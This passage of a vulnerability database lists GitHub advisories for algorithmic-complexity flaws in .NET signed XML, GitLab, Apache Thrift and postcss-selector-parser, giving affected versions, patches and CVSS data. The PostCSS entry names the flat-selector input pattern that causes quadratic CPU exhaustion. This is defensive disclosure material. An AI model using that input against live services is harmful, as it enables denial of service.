  "published": "2026-05-08T18:19:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-r8cj-3554-33mr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EmilStenstrom/justhtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "justhtml introduces denial-of-service hardening"
}

GHSA-R955-8Q5J-3H83

Vulnerability from github – Published: 2026-10-13 20:05 – Updated: 2026-10-19 19:17
VLAI
Summary
Microsoft Security Advisory CVE-2026-96958 - .NET and Visual Studio Denial of Service Vulnerability
Details

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

Signed XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/488

CVSS Details

  • Version: 3.1
  • Severity: High
  • Score: 7.5
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Weakness: CWE-407 (Inefficient Algorithmic Complexity)

Affected Platforms

  • Platforms: Windows, Linux, macOS
  • Architectures: All

Affected Packages

The vulnerability affects Microsoft .NET projects that use an affected package version listed below.

Package name Affected version Patched version
System.Security.Cryptography.Xml >= 10.0.0, <= 10.0.12 10.0.13
System.Security.Cryptography.Xml >= 11.0.0-preview.1, <= 11.0.0-rc.1 11.0.0-rc.2
System.Security.Cryptography.Xml >= 8.0.0, <= 8.0.4 8.0.5
System.Security.Cryptography.Xml >= 9.0.0, <= 9.0.20 9.0.21

Advisory FAQ

How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the dotnet --info command.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-96958

Acknowledgements

  • Mateusz Gierblinski with Curios
  • Leandro Batista
  • Kevin Schmidt
  • Dr.-Ing Ashar Javed (@soaj1664ashar)

Revisions

V1.0 (10/13/2026): Advisory published.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.12"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-preview.1"
            },
            {
              "fixed": "11.0.0-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.4"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.20"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-13T20:05:52Z",
    "nvd_published_at": "2026-10-13T19:22:08Z",
    "severity": "HIGH"
  },
  "details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Xml; System.Private.Xml. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nSigned XML fixes add input-depth and operation-count limits, prohibit DTD processing by default, validate entity references, bound encrypted-data candidate processing, and cap attributes and namespaces used by C14N transforms.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/488\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Weakness:** CWE-407 (Inefficient Algorithmic Complexity)\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n\nThe vulnerability affects Microsoft .NET projects that use an affected package version listed below.\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | ---------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 8.0.0, \u003c= 8.0.4 | 8.0.5\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-96958](https://www.cve.org/CVERecord?id=CVE-2026-96958)\n\n### Acknowledgements\n\n- Mateusz Gierblinski with Curios\n- Leandro Batista\n- Kevin Schmidt\n- Dr.-Ing Ashar Javed (@soaj1664ashar)\n\n### Revisions\n\nV1.0 (10/13/2026): Advisory published.",
  "id": "GHSA-r955-8q5j-3h83",
  "modified": "2026-10-19T19:17:43Z",
  "published": "2026-10-13T20:05:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-r955-8q5j-3h83"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/488"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/issues/135709"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96958"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-96958 - .NET and Visual Studio Denial of Service Vulnerability"
}

GHSA-RFM6-5393-X9WF

Vulnerability from github – Published: 2025-02-05 12:33 – Updated: 2025-02-05 12:33
VLAI
Details

An issue was discovered in GitLab CE/EE affecting all versions starting from 13.6 prior to 17.2.9, starting from 17.3 prior to 17.3.5, and starting from 17.4 prior to 17.4.2, where viewing diffs of MR with conflicts can be slow.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-9631"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-05T11:15:17Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab CE/EE affecting all versions starting from 13.6 prior to 17.2.9, starting from 17.3 prior to 17.3.5, and starting from 17.4 prior to 17.4.2, where viewing diffs of MR with conflicts can be slow.",
  "id": "GHSA-rfm6-5393-x9wf",
  "modified": "2025-02-05T12:33:07Z",
  "published": "2025-02-05T12:33:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9631"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2650086"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RH35-RP32-726P

Vulnerability from github – Published: 2026-10-02 12:31 – Updated: 2026-10-02 12:31
VLAI
Details

Inefficient Algorithmic Complexity vulnerability in Apache Thrift PHP bindings.

This issue affects Apache Thrift: before 0.25.0.

Users are recommended to upgrade to version 0.25.0, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-94653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T12:17:24Z",
    "severity": "HIGH"
  },
  "details": "Inefficient Algorithmic Complexity vulnerability in Apache Thrift PHP bindings.\n\n\n\nThis issue affects Apache Thrift: before 0.25.0.\n\n\n\nUsers are recommended to upgrade to version 0.25.0, which fixes the issue.",
  "id": "GHSA-rh35-rp32-726p",
  "modified": "2026-10-02T12:31:19Z",
  "published": "2026-10-02T12:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94653"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/33otcgbqd27wf6qq810q56znzbomnhg1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8zbv1y4wzr3nn5mzmdph7b0n6tm0lc4m"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RJ75-HQRM-R3GF

Vulnerability from github – Published: 2026-10-05 22:53 – Updated: 2026-10-05 22:53
VLAI
Summary
PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion
Details

Impact

. and # are not word delimiters in the tokenizer, so a flat selector such as .a.a.a... reaches splitWord() as a single word token carrying n class or id indexes. Three passes scanned those index arrays linearly for every index, making the parse O(n^2) in the number of indexes rather than in input length: uniqs(), the indices.forEach loop, and the Sass-interpolation filter. Parsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a single thread. A benign selector of identical byte size parses in tens of milliseconds, so the cost is driven by the index count, not the input size. The nesting depth of such a selector is 0, so the maxNestingDepth guard added in 7.1.3 offers no protection.

Reachability is deployment dependent. Only consumers that parse untrusted, attacker-supplied selectors synchronously in a request path are exposed, for example CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary build-time use on trusted sources is not affected.

Patches

Fixed in 7.1.6. The three passes now use Set membership tests, making parsing linear in the number of indexes. There is no behaviour change: parsing is byte-identical on a differential corpus of 8413 selectors.

Workarounds

Cap the size of selectors accepted from untrusted sources before parsing.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "postcss-selector-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:53:54Z",
    "nvd_published_at": "2026-10-02T16:16:46Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`.` and `#` are not word delimiters in the tokenizer, so a flat selector such as\n`.a.a.a...` reaches `splitWord()` as a single word token carrying n class or id\nindexes. Three passes scanned those index arrays linearly for every index,\nmaking the parse O(n^2) in the number of indexes rather than in input length:\n`uniqs()`, the `indices.forEach` loop, and the Sass-interpolation filter.\nParsing a 400 KB flat selector took ~34 s on a modern laptop, fully occupying a\nsingle thread. A benign selector of identical byte size parses in tens of\nmilliseconds, so the cost is driven by the index count, not the input size.\nThe nesting depth of such a selector is 0, so the `maxNestingDepth` guard added\nin 7.1.3 offers no protection.\n\nReachability is deployment dependent. Only consumers that parse untrusted,\nattacker-supplied selectors synchronously in a request path are exposed, for\nexample CSS sanitizers, CSS-in-JS services and online playgrounds. Ordinary\nbuild-time use on trusted sources is not affected.\n\n### Patches\n\nFixed in 7.1.6. The three passes now use Set membership tests, making parsing\nlinear in the number of indexes. There is no behaviour change: parsing is\nbyte-identical on a differential corpus of 8413 selectors.\n\n### Workarounds\n\nCap the size of selectors accepted from untrusted sources before parsing.",
  "id": "GHSA-rj75-hqrm-r3gf",
  "modified": "2026-10-05T22:53:54Z",
  "published": "2026-10-05T22:53:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/postcss/postcss-selector-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PostCSS: Quadratic complexity in flat selector parsing allows CPU exhaustion"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.